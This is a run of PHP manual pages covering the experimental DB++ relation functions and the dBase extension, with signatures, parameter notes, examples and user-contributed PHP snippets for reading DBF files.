Changes access permissions as specified by mask, user and group. The values for these are operating system specific.

Parameters

relation

A relation opened by dbplus_open().

mask

user

group

Return Values

Notes

Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

User Contributed Notes

There are no user contributed notes for this page.


Creates a new DB++ relation

  • « dbplus_rchperm
  • dbplus_rcrtexact »
  • PHP Manual
  • DB++ Functions
  • Creates a new DB++ relation

dbplus_rcreate

(PHP 4 <= 4.1.0, PECL dbplus >= 0.9)

dbplus_rcreate — Creates a new DB++ relation

Description

resource dbplus_rcreate ( string $name , mixed $domlist [, bool $overwrite ] )

Creates a new relation. Any existing relation sharing the same name will be overwritten if the relation is currently not in use and overwrite is set to TRUE.

Parameters

name

domlist

A combination of domains. May be passed as a single domain name string or as an array of domain names.

This parameter should contain the domain specification for the new relation within an array of domain description strings. A domain description string consists of a domain name unique to this relation, a slash and a type specification character. See the db++ documentation, especially the dbcreate(1) manpage, for a description of available type specifiers and their meanings.

Note:

This function will also accept a string with space delimited domain description strings, but it is recommended to use an array

overwrite

Return Values

Notes

Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

User Contributed Notes

There are no user contributed notes for this page.


Creates an exact but empty copy of a relation including indices

  • « dbplus_rcreate
  • dbplus_rcrtlike »
  • PHP Manual
  • DB++ Functions
  • Creates an exact but empty copy of a relation including indices

dbplus_rcrtexact

(PHP 4 <= 4.1.0, PECL dbplus >= 0.9)

dbplus_rcrtexact — Creates an exact but empty copy of a relation including indices

Description

mixed dbplus_rcrtexact ( string $name , resource $relation [, bool $overwrite ] )

dbplus_rcrtexact() will create an exact but empty copy of the given relation under a new name.

Parameters

name

relation

The copied relation, opened by dbplus_open().

overwrite

An existing relation by the same name will only be overwritten if this parameter is set to TRUE and no other process is currently using the relation.

Return Values

Returns resource on success or DBPLUS_ERR_UNKNOWN on failure.

Notes

Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

User Contributed Notes

There are no user contributed notes for this page.


Creates an empty copy of a relation with default indices

  • « dbplus_rcrtexact
  • dbplus_resolve »
  • PHP Manual
  • DB++ Functions
  • Creates an empty copy of a relation with default indices

dbplus_rcrtlike

(PHP 4 <= 4.1.0, PECL dbplus >= 0.9)

dbplus_rcrtlike — Creates an empty copy of a relation with default indices

Description

mixed dbplus_rcrtlike ( string $name , resource $relation [, int $overwrite ] )

dbplus_rcrtexact() will create an empty copy of the given relation under a new name, but with default indices.

Parameters

name

relation

The copied relation, opened by dbplus_open().

overwrite

An existing relation by the same name will only be overwritten if this parameter is set to TRUE and no other process is currently using the relation.

Return Values

Returns resource on success or DBPLUS_ERR_UNKNOWN on failure.

Notes

Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

User Contributed Notes

There are no user contributed notes for this page.


Resolve host information for relation

  • « dbplus_rcrtlike
  • dbplus_restorepos »
  • PHP Manual
  • DB++ Functions
  • Resolve host information for relation

dbplus_resolve

(PHP 4 <= 4.1.0, PECL dbplus >= 0.9)

dbplus_resolve — Resolve host information for relation

Description

array dbplus_resolve ( string $relation_name )

dbplus_resolve() will try to resolve the given relation_name and find out internal server id, real hostname and the database path on this host.

Parameters

relation_name

The relation name.

Return Values

Returns an array containing these values under the keys sid, host and host_path or FALSE on error.

Notes

Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

See Also

  • dbplus_tcl() - Execute TCL code on server side

User Contributed Notes

There are no user contributed notes for this page.


Restore position

  • « dbplus_resolve
  • dbplus_rkeys »
  • PHP Manual
  • DB++ Functions
  • Restore position

dbplus_restorepos

(PHP 4 <= 4.1.0, PECL dbplus >= 0.9)

dbplus_restorepos — Restore position

Description

int dbplus_restorepos ( resource $relation , array $tuple )
Warning

This function is currently not documented; only its argument list is available.

Parameters

relation

A relation opened by dbplus_open().

tuple

Return Values

Notes

Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

User Contributed Notes

There are no user contributed notes for this page.


Specify new primary key for a relation

  • « dbplus_restorepos
  • dbplus_ropen »
  • PHP Manual
  • DB++ Functions
  • Specify new primary key for a relation

dbplus_rkeys

(PHP 4 <= 4.1.0, PECL dbplus >= 0.9)

dbplus_rkeys — Specify new primary key for a relation

Description

mixed dbplus_rkeys ( resource $relation , mixed $domlist )

dbplus_rkeys() will replace the current primary key for relation with the combination of domains specified by domlist.

Parameters

relation

A relation opened by dbplus_open().

domlist

A combination of domains. May be passed as a single domain name string or as an array of domain names.

Return Values

Returns resource on success or DBPLUS_ERR_UNKNOWN on failure.

Notes

Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

User Contributed Notes

There are no user contributed notes for this page.


Open relation file local

  • « dbplus_rkeys
  • dbplus_rquery »
  • PHP Manual
  • DB++ Functions
  • Open relation file local

dbplus_ropen

(PHP 4 <= 4.1.0, PECL dbplus >= 0.9)

dbplus_ropen — Open relation file local

Description

resource dbplus_ropen ( string $name )

dbplus_ropen() will open the relation file locally for quick access without any client/server overhead. Access is read only and only dbplus_curr() and dbplus_next() may be applied to the returned relation.

Parameters

name

Return Values

Notes

Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

User Contributed Notes

There are no user contributed notes for this page.


Perform local (raw) AQL query

  • « dbplus_ropen
  • dbplus_rrename »
  • PHP Manual
  • DB++ Functions
  • Perform local (raw) AQL query

dbplus_rquery

(PHP 4 <= 4.1.0, PECL dbplus >= 0.9)

dbplus_rquery — Perform local (raw) AQL query

Description

resource dbplus_rquery ( string $query [, string $dbpath ] )

dbplus_rquery() performs a local (raw) AQL query using an AQL interpreter embedded into the db++ client library. dbplus_rquery() is faster than dbplus_aql() but will work on local data only.

Parameters

query

dbpath

Return Values

Notes

Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

User Contributed Notes

There are no user contributed notes for this page.


Rename a relation

  • « dbplus_rquery
  • dbplus_rsecindex »
  • PHP Manual
  • DB++ Functions
  • Rename a relation

dbplus_rrename

(PHP 4 <= 4.1.0, PECL dbplus >= 0.9)

dbplus_rrename — Rename a relation

Description

int dbplus_rrename ( resource $relation , string $name )

dbplus_rrename() will change the name of relation to name.

Parameters

relation

A relation opened by dbplus_open().

name

Return Values

Notes

Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

User Contributed Notes

There are no user contributed notes for this page.


Create a new secondary index for a relation

  • « dbplus_rrename
  • dbplus_runlink »
  • PHP Manual
  • DB++ Functions
  • Create a new secondary index for a relation

dbplus_rsecindex

(PHP 4 <= 4.1.0, PECL dbplus >= 0.9)

dbplus_rsecindex — Create a new secondary index for a relation

Description

mixed dbplus_rsecindex ( resource $relation , mixed $domlist , int $type )

dbplus_rsecindex() will create a new secondary index for relation with consists of the domains specified by domlist and is of type type

Parameters

relation

A relation opened by dbplus_open().

domlist

A combination of domains. May be passed as a single domain name string or as an array of domain names.

type

Return Values

Returns resource on success or DBPLUS_ERR_UNKNOWN on failure.

Notes

Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

User Contributed Notes

There are no user contributed notes for this page.


Remove relation from filesystem

  • « dbplus_rsecindex
  • dbplus_rzap »
  • PHP Manual
  • DB++ Functions
  • Remove relation from filesystem

dbplus_runlink

(PHP 4 <= 4.1.0, PECL dbplus >= 0.9)

dbplus_runlink — Remove relation from filesystem

Description

int dbplus_runlink ( resource $relation )

dbplus_runlink() will close and remove the relation.

Parameters

relation

A relation opened by dbplus_open().

Return Values

Notes

Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

User Contributed Notes

There are no user contributed notes for this page.


Remove all tuples from relation

  • « dbplus_runlink
  • dbplus_savepos »
  • PHP Manual
  • DB++ Functions
  • Remove all tuples from relation

dbplus_rzap

(PHP 4 <= 4.1.0, PECL dbplus >= 0.9)

dbplus_rzap — Remove all tuples from relation

Description

int dbplus_rzap ( resource $relation )

dbplus_rzap() will remove all tuples from relation.

Parameters

relation

A relation opened by dbplus_open().

Return Values

Notes

Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

User Contributed Notes

There are no user contributed notes for this page.


Save position

  • « dbplus_rzap
  • dbplus_setindex »
  • PHP Manual
  • DB++ Functions
  • Save position

dbplus_savepos

(PHP 4 <= 4.1.0, PECL dbplus >= 0.9)

dbplus_savepos — Save position

Description

int dbplus_savepos ( resource $relation )
Warning

This function is currently not documented; only its argument list is available.

Parameters

relation

A relation opened by dbplus_open().

Return Values

Notes

Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

User Contributed Notes

There are no user contributed notes for this page.


Set index

  • « dbplus_savepos
  • dbplus_setindexbynumber »
  • PHP Manual
  • DB++ Functions
  • Set index

dbplus_setindex

(PHP 4 <= 4.1.0, PECL dbplus >= 0.9)

dbplus_setindex — Set index

Description

int dbplus_setindex ( resource $relation , string $idx_name )
Warning

This function is currently not documented; only its argument list is available.

Parameters

relation

A relation opened by dbplus_open().

idx_name

Return Values

Notes

Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

User Contributed Notes

There are no user contributed notes for this page.


Set index by number

  • « dbplus_setindex
  • dbplus_sql »
  • PHP Manual
  • DB++ Functions
  • Set index by number

dbplus_setindexbynumber

(PHP 4 <= 4.1.0, PECL dbplus >= 0.9)

dbplus_setindexbynumber — Set index by number

Description

int dbplus_setindexbynumber ( resource $relation , int $idx_number )
Warning

This function is currently not documented; only its argument list is available.

Parameters

relation

A relation opened by dbplus_open().

idx_number

Return Values

Notes

Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

User Contributed Notes

There are no user contributed notes for this page.


Perform SQL query

  • « dbplus_setindexbynumber
  • dbplus_tcl »
  • PHP Manual
  • DB++ Functions
  • Perform SQL query

dbplus_sql

(PHP 4 <= 4.1.0, PECL dbplus >= 0.9)

dbplus_sql — Perform SQL query

Description

resource dbplus_sql ( string $query [, string $server [, string $dbpath ]] )
Warning

This function is currently not documented; only its argument list is available.

Parameters

query

server

dbpath

Return Values

Notes

Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

User Contributed Notes

There are no user contributed notes for this page.


Execute TCL code on server side

  • « dbplus_sql
  • dbplus_tremove »
  • PHP Manual
  • DB++ Functions
  • Execute TCL code on server side

dbplus_tcl

(PHP 4 <= 4.1.0, PECL dbplus >= 0.9)

dbplus_tcl — Execute TCL code on server side

Description

string dbplus_tcl ( int $sid , string $script )

A db++ server will prepare a TCL interpreter for each client connection. This interpreter will enable the server to execute TCL code provided by the client as a sort of stored procedures to improve the performance of database operations by avoiding client/server data transfers and context switches.

dbplus_tcl() needs to pass the client connection id the TCL script code should be executed by. dbplus_resolve() will provide this connection id. The function will return whatever the TCL code returns or a TCL error message if the TCL code fails.

Parameters

sid

script

Return Values

Notes

Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

See Also

  • dbplus_resolve() - Resolve host information for relation

User Contributed Notes

There are no user contributed notes for this page.


Remove tuple and return new current tuple

  • « dbplus_tcl
  • dbplus_undo »
  • PHP Manual
  • DB++ Functions
  • Remove tuple and return new current tuple

dbplus_tremove

(PHP 4 <= 4.1.0, PECL dbplus >= 0.9)

dbplus_tremove — Remove tuple and return new current tuple

Description

int dbplus_tremove ( resource $relation , array $tuple [, array &$current ] )

dbplus_tremove() removes tuple from relation if it perfectly matches a tuple within the relation. current, if given, will contain the data of the new current tuple after calling dbplus_tremove().

Parameters

relation

A relation opened by dbplus_open().

tuple

current

Return Values

Notes

Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

User Contributed Notes

There are no user contributed notes for this page.


Undo

  • « dbplus_tremove
  • dbplus_undoprepare »
  • PHP Manual
  • DB++ Functions
  • Undo

dbplus_undo

(PHP 4 <= 4.1.0, PECL dbplus >= 0.9)

dbplus_undo — Undo

Description

int dbplus_undo ( resource $relation )
Warning

This function is currently not documented; only its argument list is available.

Parameters

relation

A relation opened by dbplus_open().

Return Values

Notes

Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

User Contributed Notes

There are no user contributed notes for this page.


Prepare undo

  • « dbplus_undo
  • dbplus_unlockrel »
  • PHP Manual
  • DB++ Functions
  • Prepare undo

dbplus_undoprepare

(PHP 4 <= 4.1.0, PECL dbplus >= 0.9)

dbplus_undoprepare — Prepare undo

Description

int dbplus_undoprepare ( resource $relation )
Warning

This function is currently not documented; only its argument list is available.

Parameters

relation

A relation opened by dbplus_open().

Return Values

Notes

Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

User Contributed Notes

There are no user contributed notes for this page.


Give up write lock on relation

  • « dbplus_undoprepare
  • dbplus_unselect »
  • PHP Manual
  • DB++ Functions
  • Give up write lock on relation

dbplus_unlockrel

(PHP 4 <= 4.1.0, PECL dbplus >= 0.9)

dbplus_unlockrel — Give up write lock on relation

Description

int dbplus_unlockrel ( resource $relation )

Release a write lock previously obtained by dbplus_lockrel().

Parameters

relation

A relation opened by dbplus_open().

Return Values

Notes

Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

User Contributed Notes

There are no user contributed notes for this page.


Remove a constraint from relation

  • « dbplus_unlockrel
  • dbplus_update »
  • PHP Manual
  • DB++ Functions
  • Remove a constraint from relation

dbplus_unselect

(PHP 4 <= 4.1.0, PECL dbplus >= 0.9)

dbplus_unselect — Remove a constraint from relation

Description

int dbplus_unselect ( resource $relation )

Calling dbplus_unselect() will remove a constraint previously set by dbplus_find() on relation.

Parameters

relation

A relation opened by dbplus_open().

Return Values

Notes

Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

User Contributed Notes

There are no user contributed notes for this page.


Update specified tuple in relation

  • « dbplus_unselect
  • dbplus_xlockrel »
  • PHP Manual
  • DB++ Functions
  • Update specified tuple in relation

dbplus_update

(PHP 4 <= 4.1.0, PECL dbplus >= 0.9)

dbplus_update — Update specified tuple in relation

Description

int dbplus_update ( resource $relation , array $old , array $new )

dbplus_update() replaces the old tuple with the data from the new one, only if the old completely matches a tuple within relation.

Parameters

relation

A relation opened by dbplus_open().

old

The old tuple.

new

The new tuple.

Return Values

Notes

Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

User Contributed Notes

There are no user contributed notes for this page.


Request exclusive lock on relation

  • « dbplus_update
  • dbplus_xunlockrel »
  • PHP Manual
  • DB++ Functions
  • Request exclusive lock on relation

dbplus_xlockrel

(PHP 4 <= 4.1.0, PECL dbplus >= 0.9)

dbplus_xlockrel — Request exclusive lock on relation

Description

int dbplus_xlockrel ( resource $relation )

Request an exclusive lock on relation preventing even read access from other clients.

Parameters

relation

A relation opened by dbplus_open().

Return Values

Notes

Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

See Also

  • dbplus_xunlockrel() - Free exclusive lock on relation

User Contributed Notes

There are no user contributed notes for this page.


Free exclusive lock on relation

  • « dbplus_xlockrel
  • dBase »
  • PHP Manual
  • DB++ Functions
  • Free exclusive lock on relation

dbplus_xunlockrel

(PHP 4 <= 4.1.0, PECL dbplus >= 0.9)

dbplus_xunlockrel — Free exclusive lock on relation

Description

int dbplus_xunlockrel ( resource $relation )

Releases an exclusive lock previously obtained by dbplus_xlockrel().

Parameters

relation

A relation opened by dbplus_open().

Return Values

Notes

Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

User Contributed Notes

There are no user contributed notes for this page.


dBase

  • Introduction
  • Installing/Configuring
    • Requirements
    • Installation
    • Runtime Configuration
    • Resource Types
  • Predefined Constants
  • dBase Functions
    • dbase_add_record — Adds a record to a database
    • dbase_close — Closes a database
    • dbase_create — Creates a database
    • dbase_delete_record — Deletes a record from a database
    • dbase_get_header_info — Gets the header info of a database
    • dbase_get_record_with_names — Gets a record from a database as an associative array
    • dbase_get_record — Gets a record from a database as an indexed array
    • dbase_numfields — Gets the number of fields of a database
    • dbase_numrecords — Gets the number of records in a database
    • dbase_open — Opens a database
    • dbase_pack — Packs a database
    • dbase_replace_record — Replaces a record in a database

User Contributed Notes

Anonymous 01-Aug-2009 06:51
Unfortunately the dbase functions are not compiled into my commercial server's php and I needed to read some geo data in shape files, which include data in dbfs.

So maybe this will help some others:

<?php
function echo_dbf($dbfname) {
    $fdbf = fopen($dbfname,'r');
    $fields = array();
    $buf = fread($fdbf,32);
    $header=unpack( "VRecordCount/vFirstRecord/vRecordLength", substr($buf,4,8));
    echo 'Header: '.json_encode($header).'<br/>';
    $goon = true;
    $unpackString='';
    while ($goon && !feof($fdbf)) { // read fields:
        $buf = fread($fdbf,32);
        if (substr($buf,0,1)==chr(13)) {$goon=false;} // end of field list
        else {
            $field=unpack( "a11fieldname/A1fieldtype/Voffset/Cfieldlen/Cfielddec", substr($buf,0,18));
            echo 'Field: '.json_encode($field).'<br/>';
            $unpackString.="A$field[fieldlen]$field[fieldname]/";
            array_push($fields, $field);}}
    fseek($fdbf, $header['FirstRecord']+1); // move back to the start of the first record (after the field definitions)
    for ($i=1; $i<=$header['RecordCount']; $i++) {
        $buf = fread($fdbf,$header['RecordLength']);
        $record=unpack($unpackString,$buf);
        echo 'record: '.json_encode($record).'<br/>';
        echo $i.$buf.'<br/>';} //raw record
    fclose($fdbf); }
?>

This function simply dumps an entire file using echo and json_encode, so you can tweak it to your own needs... (eg random access would just be a matter of changing the seek to : fseek($fdbf, $header['FirstRecord']+1 +($header['RecordLength']* $desiredrecord0based); removing the for loop and returning $record

This function doesn't do any type conversion, but it does extract the type if you need to play with dates, or tidy up the numbers etc.

So quick and dirty but maybe of use to somebody and illustrates the power of unpack.

Erich


Introduction

These functions allow you to access records stored in dBase-format (dbf) databases.

dBase files are simple sequential files of fixed length records. Records are appended to the end of the file and delete records are kept until you call dbase_pack().

The types of dBase fields available are:

Available types of fields
Field | dBase Type | Format | Additional information
M | Memo | n/a | This type is not supported by PHP, such field will be ignored
D | Date | YYYYMMDD | The field length is limited to 8
N | Number | A number | You must declare a length and a precision (the number of digits after the decimal point)
C | String | A string | You must declare a length. When retrieving data, the string will be right-padded with spaces to fit the declared length.
L | Boolean | T or Y for TRUE, F or N for FALSE | Stored and returned as an integer (1 or 0)
F | Float | A float number | Support for this type of field was added in PHP 5.2.0

Note:

This extension has been moved to the » PECL repository and is no longer bundled with PHP as of PHP 5.3.0.

Warning

There is no support for indexes or memo fields. There is no support for locking, too. Two concurrent web server processes modifying the same dBase file will very likely ruin your database.

We recommend that you do not use dBase files as your production database. Choose any real SQL server instead; » MySQL or » Postgres are common choices with PHP. dBase support is here to allow you to import and export data to and from your web database, because the file format is commonly understood by Windows spreadsheets and organizers.

User Contributed Notes

oto dot brglez at agenda dot si 23-Feb-2009 03:25
If you have xls or ods file with data. You can open file in OpenOffice Calc and save the table as dbf (dBase file) and the use this extension to manipulate data.

Usualy this gives better results than just saving as XML. or CSV.


Installation

In order to enable the bundled dbase library and to use these functions, you must compile PHP with the --enable-dbase option.

User Contributed Notes

There are no user contributed notes for this page.


dBase Functions

Examples

Many examples in this reference require a dBase database. We will use /tmp/test.dbf that will be created in the example of dbase_create().

Table of Contents

  • dbase_add_record — Adds a record to a database
  • dbase_close — Closes a database
  • dbase_create — Creates a database
  • dbase_delete_record — Deletes a record from a database
  • dbase_get_header_info — Gets the header info of a database
  • dbase_get_record_with_names — Gets a record from a database as an associative array
  • dbase_get_record — Gets a record from a database as an indexed array
  • dbase_numfields — Gets the number of fields of a database
  • dbase_numrecords — Gets the number of records in a database
  • dbase_open — Opens a database
  • dbase_pack — Packs a database
  • dbase_replace_record — Replaces a record in a database

User Contributed Notes

bi.idan [at] gmail.com 12-Feb-2009 04:16
some of you contacted me about memo fields and my script, so i'll just post my answers on the common question here.

(note: this is not an adv for any program, only what i used for myself, and it's free)

so, there are 2 options if you want to create/read memo fields:

1. use a library for java/c++/c# to build a bridge between php and dbf file. i've used dbf2java. althougth it's not near complete as my other option, it's a good start. (http://code.google.com/p/dbf2java-library/)

2. use an external program with pipes to grab the output. i used cdbflite, (http://www.whitetown.com/cdbflite/). it's free, and pretty much gives you everything you need to handle those dbf files. i'm not sure about big databases and it seems you need to register/buy it, but it's again, a start.

hope it helps some of you who needs to handle those database files,

Good luck,
idan
bi.idan AT gmail.com 17-Apr-2007 01:40
I know lots of you dosent really use dbase, but i've builded a class to help the one how dose.
(sorry for bad english)

- dbase.php

<?php

set_time_limit (0);
// site_path defined by parent
require_once (SITE_PATH. '/server/php/libs/dbase/handler.php');

/* DBase (dbf)
 *    manage dbf files, exports and search functionality
 *    with buildin optimizers for fast performance
 */

class DBase
{
    private $handler = false;
    private $searchopt = array (); // Search optimizer

    private function unload ()
    {
        if ($this-> handler !== false)
            unset ($this-> handler);
    }

    public function __construct ($file = false)
    {
        if ($file !== false)
            $this-> load ($file);
    }

    public function __destruct ()
    {
        $this-> unload ();
    }

    public function load ($file)
    {
        $resource = dbase_open ($file, 0);
        $this-> handler = new DBase_Handler ($resource);

        return $this-> handler;
    }

    /* Search
     *    search for string inside header
     *    returns record number
     *        false returned if not found or error occurred
     *    limit_results gets int or false, limit_results equels one will limit the
     *        search results for one result only, false for no limit
     */
    public function search ($headerText, $string, $limit_results = false, $handler = false)
    {
        if ($handler === false)
            $handler = $this-> handler;

        if ($this-> searchopt [$headerText][$string])
            return $this-> searchopt [$headerText][$string];
        else
        {
            $size = $handler-> getSize ();
            if ( ( $headerNumber = $handler-> getHeaderNumber ($headerText) ) !== false)
            {
                $results = array ();
                for ($i = 1; $i < $size; $i++)
                {
                    $record = $handler-> getRecord ($i, false); // Disabled optimizer to prevent memory overflow
                    if (trim ($record [$headerNumber]) == $string)
                    {
                        $results[] = $i;

                        if ( ($limit_results !== false) && (sizeof ($results) == $limit_results) )
                            break;
                    }
                }

                if (sizeof ($results) > 0)
                {
                    $this-> searchopt [$headerText][$string] = $results;
                    return $this-> search ($headerText, $string, $handler);
                }

                return false;
            } else
                return false;
        }
    }
}

?>

- dbase_handler.php

<?php

/* DBase Handler (dbf)
 *    handles dbase resource
 */

class DBase_Handler
{
    private $resource;
    private $size; // Records Count
    private $header = array ();
    private $dataopt = array (); // Data optimizer

    private function setHeader ()
    {
        $this-> header = dbase_get_header_info ($this-> resource);
    }

    public function __construct ($resource)
    {
        $this-> resource = $resource;
        $this-> setHeader ();
        $this-> size = dbase_numrecords ($this-> resource);
    }

    public function __destruct ()
    {
        dbase_close ($this-> resource);
    }

    public function getRecord ($record_number, $dataopt = true)
    {
        if ($record_number > $this-> size)
            return false;
        else
        {
            if ($this-> dataopt [$record_number])
                return $this-> dataopt [$record_number];
            else
            {
                $record = dbase_get_record ($this-> resource, $record_number);
                if ($dataopt === true) // Data saving optimizer
                {
                    $this-> dataopt [$record_number] = $record;
                    return $this-> getRecord ($record_number);
                } else
                    return $record;
            }
        }
    }

    public function getHeaderNumber ($headerText)
    {
        foreach ($this-> header as $index => $header)
        {
            if ($header ['name'] == $headerText)
            {
                return $index;
                break;
            }
        }

        return false;
    }

    public function getHeader ($headerNumber)
    {
        if ($headerNumber <= sizeof ($this-> header))
            return $this-> header [$headerNumber];
        else
            return false;
    }

    public function getSize ()
    {
        return $this-> size;
    }
}

?>
Hadi Rusiah / deegos at yahoo dot com 08-May-2004 07:33
If you are using PHP < 5, you can use this function to retrieve dbf header

<?
function get_dbf_header($dbfname) {
   $fdbf = fopen($dbfname,'r');

   $dbfhdrarr = array();
   $buff32 = array();
   $i = 1;
   $goon = true;

   while ($goon) {
      if (!feof($fdbf)) {
         $buff32 = fread($fdbf,32);
         if ($i > 1) {
            if (substr($buff32,0,1) == chr(13)) {
               $goon = false;
            } else {
               $pos = strpos(substr($buff32,0,10),chr(0));
               $pos = ($pos == 0?10:$pos);

               $fieldname = substr($buff32,0,$pos);
               $fieldtype = substr($buff32,11,1);
               $fieldlen = ord(substr($buff32,16,1));
               $fielddec = ord(substr($buff32,17,1));

array_push($dbfhdrarr, array($fieldname,$fieldtype,$fieldlen,$fielddec));

            }
         }
         $i++;
      } else {
         $goon = false;
      }
   }

   fclose($fdbf);
   return($dbfhdrarr);
}

$arr = get_dbf_header('/data/file.dbf');
print_r($arr);
?>


Adds a record to a database

  • « dBase Functions
  • dbase_close »
  • PHP Manual
  • dBase Functions
  • Adds a record to a database

dbase_add_record

(PHP 4, PHP 5)

dbase_add_record — Adds a record to a database

Description

bool dbase_add_record ( int $dbase_identifier , array $record )

Adds the given data to the database.

Parameters

dbase_identifier

The database link identifier, returned by dbase_open() or dbase_create().

record

An indexed array of data. The number of items must be equal to the number of fields in the database, otherwise dbase_add_record() will fail.

Note:

If you're using dbase_get_record() return value for this parameter, remember to reset the key named deleted.

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 Inserting a record in a dBase database

<?php

// open in read-write mode
$db = dbase_open('/tmp/test.dbf', 2);

if ($db) {
  dbase_add_record($db, array(
      date('Ymd'),
      'Maxim Topolov',
      '23',
      'max@example.com',
      'T'));
  dbase_close($db);
}

?>

See Also

  • dbase_delete_record() - Deletes a record from a database
  • dbase_replace_record() - Replaces a record in a database

User Contributed Notes

Dahlmann at Dahlmann dot biz 07-Jul-2005 01:57
I had some problems with old dbase3 database. Odd behaviour of the php-progs and incomplete file copies.

I assume that the header was partly corrupt, but clipper-progs worked fine. I copied structure to file (copy to test structure extended), then rebuilt the  database from the structure file again and made an append from the original file.
That fixed the error.
heinrich at c-tera dot de 11-Dec-2002 09:59
Field type incompatible inputs can cause PHP to crash or strange errors to occur. After finding that out it was easy to fill also "big" dbase-files with size bigger than 15 MB. Don't let your enthusiasm be broken by inexact error messages! :-)


Closes a database

  • « dbase_add_record
  • dbase_create »
  • PHP Manual
  • dBase Functions
  • Closes a database

dbase_close

(PHP 4, PHP 5)

dbase_close — Closes a database

Description

bool dbase_close ( int $dbase_identifier )

Closes the given database link identifier.

Parameters

dbase_identifier

The database link identifier, returned by dbase_open() or dbase_create().

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 Closing a dBase database file

<?php

// open in read-only mode
$db = dbase_open('/tmp/test.dbf', 0);

if ($db) {
  // read some data ..

  dbase_close($db);
}

?>

See Also

  • dbase_open() - Opens a database
  • dbase_create() - Creates a database

User Contributed Notes

There are no user contributed notes for this page.


Creates a database

  • « dbase_close
  • dbase_delete_record »
  • PHP Manual
  • dBase Functions
  • Creates a database

dbase_create

(PHP 4, PHP 5)

dbase_create — Creates a database

Description

int dbase_create ( string $filename , array $fields )

dbase_create() creates a dBase database with the given definition.

Note: When safe mode is enabled, PHP checks whether the files or directories being operated upon have the same UID (owner) as the script that is being executed.

Note:

This function is affected by open_basedir.

Parameters

filename

The name of the database. It can be a relative or absolute path to the file where dBase will store your data.

fields

An array of arrays, each array describing the format of one field of the database. Each field consists of a name, a character indicating the field type, and optionally, a length, and a precision.

Note:

The fieldnames are limited in length and must not exceed 10 chars.

Return Values

Returns a database link identifier if the database is successfully created, or FALSE if an error occurred.

Examples

Example #1 Creating a dBase database file

<?php

// database "definition"
$def = array(
  array("date",     "D"),
  array("name",     "C",  50),
  array("age",      "N",   3, 0),
  array("email",    "C", 128),
  array("ismember", "L")
);

// creation
if (!dbase_create('/tmp/test.dbf', $def)) {
  echo "Error, can't create the database\n";
}

?>

See Also

  • dbase_open() - Opens a database
  • dbase_close() - Closes a database

User Contributed Notes

karl at kingkarl dot com 06-May-2009 07:18
Format Description:

Date "D" - no field length or precision
NOTE: format "Ymd"

Logic "L" - no field length or precision
NOTE: must be entered as either "T" or "F"

Character "C" - field length no precision
NOTE: string will be truncated at given length

Numeric "N" - field length with precision
NOTE: Numeric includes precision

eg "45" = Length: 2, Precision: 0
eg "45.1" = Length:4, Precision:1


Deletes a record from a database

  • « dbase_create
  • dbase_get_header_info »
  • PHP Manual
  • dBase Functions
  • Deletes a record from a database

dbase_delete_record

(PHP 4, PHP 5)

dbase_delete_record — Deletes a record from a database

Description

bool dbase_delete_record ( int $dbase_identifier , int $record_number )

Marks the given record to be deleted from the database.

Note:

To actually remove the record from the database, you must also call dbase_pack().

Parameters

dbase_identifier

The database link identifier, returned by dbase_open() or dbase_create().

record_number

An integer which spans from 1 to the number of records in the database (as returned by dbase_numrecords()).

Return Values

Returns TRUE on success or FALSE on failure.

See Also

  • dbase_add_record() - Adds a record to a database
  • dbase_replace_record() - Replaces a record in a database

User Contributed Notes

